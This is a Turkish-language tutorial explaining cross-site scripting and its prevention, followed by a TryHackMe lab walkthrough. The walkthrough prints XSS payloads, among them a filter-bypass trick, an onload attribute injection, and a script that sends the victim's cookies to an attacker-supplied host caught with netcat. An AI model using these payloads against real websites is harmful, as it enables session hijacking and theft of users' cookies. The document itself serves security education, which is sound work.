XSS (Cross-Site Scripting) Zafiyeti Nedir? & TryHackMe Çözümleri
XSS (Cross-Site Scripting), web uygulamalarında sıkça karşılaşılan bir güvenlik açığı türüdür. Bu zafiyet, saldırganların kötü amaçlı JavaScript kodlarını, hedef web uygulamasının kullanıcılarına göndermek veya sunucuda çalıştırmak için enjekte etmelerini sağlar. XSS, genellikle kullanıcıların tarayıcılarında çalışacak şekilde tasarlanmış olan kötü amaçlı kodların gömülmesiyle gerçekleşir. Çoğunlukla tarayıcıda saklanan cookielere erişmek için kullanılan bir saldırı türüdür.
Neden Ortaya Çıkar?
XSS zafiyetleri, web uygulamalarının kullanıcı tarafından sağlanan verileri yeterince kontrol etmemesi veya doğrulamaması nedeniyle ortaya çıkar. Bu güvenlik açığı, saldırganların tarayıcı üzerinden kullanıcılar aracılığıyla siteye zararlı kodlar enjekte etmesine ve kullanıcıların bilgilerini çalmasına, oturumlarını ele geçirmesine veya başka zararlı eylemlerde bulunmasına yol açabilir.
XSS Zafiyetlerinin Çeşitleri:
- Stored (Kalıcı) XSS: Saldırganın kötü amaçlı kodları web uygulamasında saklamasını ve diğer kullanıcılar tarafından görüntülenmesini sağlayan bir XSS çeşididir. Örneğin, kullanıcılar arasında paylaşılan bir forumda saldırgan kötü amaçlı bir script bırakabilir ve diğer kullanıcılar bu scripti görüntülediklerinde etkilenirler.
- Reflected (Yansıtılan) XSS: Kullanıcının tıkladığı veya eriştiği özel bir URL aracılığıyla kötü amaçlı scriptlerin hedef kullanıcının tarayıcısında çalıştırıldığı bir tür XSS’dir. URL içindeki kötü amaçlı parametreler, web sunucusu tarafından doğrudan tarayıcıya yansıtılır.
- DOM-based XSS: Bu tip XSS, Document Object Model’ini (DOM) manipüle ederek gerçekleştirilir. Web uygulamasının kullandığı JavaScript kodu, kullanıcı tarafından sağlanan verileri güvenli bir şekilde işlemez ve scriptleri DOM üzerinde etkinleştirir.
XSS Zafiyetlerini Nasıl Önleyebiliriz?
XSS zafiyetlerini önlemek için aşağıdaki yöntemleri uygulamak önemlidir:
- Giriş Doğrulama ve Kodlama: Kullanıcı girişlerini dikkatlice doğrulayın ve gerektiğinde özel karakterleri (örn. <, >, &, vb.) kodlayın.
- HTTP Only Flag ve Secure Flag: Çerezler için “HTTP Only” ve “Secure” bayraklarını kullanın. Bu, tarayıcıların çerezlere sadece HTTP talepleri üzerinden erişmesini ve HTTPS üzerinden iletilmesini sağlar.
- Çıktı Doğrulama: Kullanıcı tarafından sağlanan verileri web sayfasına eklerken, bu verileri çıktılamadan önce uygun bir şekilde kaçış karakterleriyle işleyin.
- Content Security Policy (CSP): Web sayfanızda CSP kullanarak, yalnızca belirli kaynakların (örn. resimler, scriptler, CSS dosyaları) izin verilen kökenlerden yüklenmesini sağlayabilirsiniz.
- Tarayıcı Güvenlik Özelliklerini Kullanma: Tarayıcıların sunduğu güvenlik özelliklerini etkinleştirin, böylece tarayıcılar otomatik olarak bazı potansiyel XSS saldırılarını engeller.
- Context-aware Encoding: Verileri sayfada gösterirken, uygun kodlama yöntemini kullanarak verilerin güvenli bir şekilde görüntülenmesini sağlayın.
- Güvenlik Testleri ve Kod İncelemeleri: Web uygulamalarını düzenli olarak güvenlik açıklarını tespit etmek için test edin ve kod incelemeleri yapın.
ÖRNEK:
- ASLI, sosyal medya platformunda bir hesaba sahiptir ve doğum günü yaklaşmaktadır.
- Saldırgan, ASLI’nın doğum gününü kutlamak için sosyal medya hesabında bir gönderi oluşturur. Gönderi, ASLI’nın dikkatini çekmek için güzel bir doğum günü mesajı içerir.
- Saldırgan, gönderinin içine gizlice JavaScript kodu ekler, böylece ASLI’ya özel bir doğum günü sürprizi yapmak ister.
- ASLI, sosyal medyada gezinirken saldırganın doğum günü gönderisini görür ve sevinir.
- ASLI, gönderideki özel bağlantıya (link) tıklar. Ancak, bağlantıdaki kod ASLI’nın tarayıcısında kötü amaçlı olarak çalışır.
- Tarayıcı kötü amaçlı JavaScript kodunu çalıştırır ve ASLI’nın doğum günü sürprizine dönüşür. Zararlı payload, ASLI’nın tarayıcısında bir pop-up uyarı penceresi görüntüleyebilir veya saldırganın elde etmek istediği çerezleri ele geçirebilir.
TryHackMe Çözümleri:
LINK:
https://tryhackme.com/room/xss
<script>alert(‘THM’);</script>
Bu XSS payloadı, tarayıcıda “THM” adında bir pop-up uyarı penceresi görüntülemek için kullanılır. Kullanıcı bu saldırgan tarafından eklenen script kodunu etkileşime girmek üzere çalıştırırsa, “THM” mesajını içeren bir pop-up görüntülenir.
“><script>alert(‘THM’);</script>
Bu payload, bir girdi alanına (input) eklenerek kullanıldığında, tarayıcıda yine “THM” adında bir pop-up uyarı penceresi görüntülemek için kullanılır. Bu payload, bir HTML elementinin etiketini kapatıp kendi script kodunu ekler.
Tekrar, Name kısmına input yazıp source code’a bakıyoruz.
<sscriptcript>alert(‘THM’);</sscriptcript>
Bu kod, tipografik hata ile yazılmış bir <script> etiketini içeren bir XSS (Cross-Site Scripting) payloadıdır. Tarayıcılar, script etiketinin açılış ve kapanış etiketlerini tanıyarak ve bunları işleyerek JavaScript kodunu çalıştırırlar. Ancak, bu örnekte, “script” kelimesinin her iki yanına da ekstra “s” harfleri eklenerek, tarayıcıların bu etiketi algılamasını engellemeye çalışır.
Çalıştığı zaman, “THM” adında bir pop-up uyarı penceresi görüntülenir.
/images/cat.jpg” onload=”alert(‘THM’);
Bu payload, “cat.jpg” adında bir görselin URL’sine eklenerek kullanılabilecek bir XSS yöntemidir. Resim yüklenirken, aynı zamanda tarayıcıda “THM” adında bir pop-up uyarı penceresi de görüntülenir.
</textarea><script>fetch(‘http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>
JavaScript kodu, kullanıcının tarayıcısında belirtilen URL veya IP adresine kullanıcının çerezlerini içeren bir GET isteği yapar. document.cookie ifadesi, tarayıcının tüm çerezlerini içeren kullanıcının oturum bilgisini döndürecektir.
netcat ile portu dinlemeye başlıyoruz ve cookie’yi elde ediyoruz:
Okuduğunuz için teşekkürler.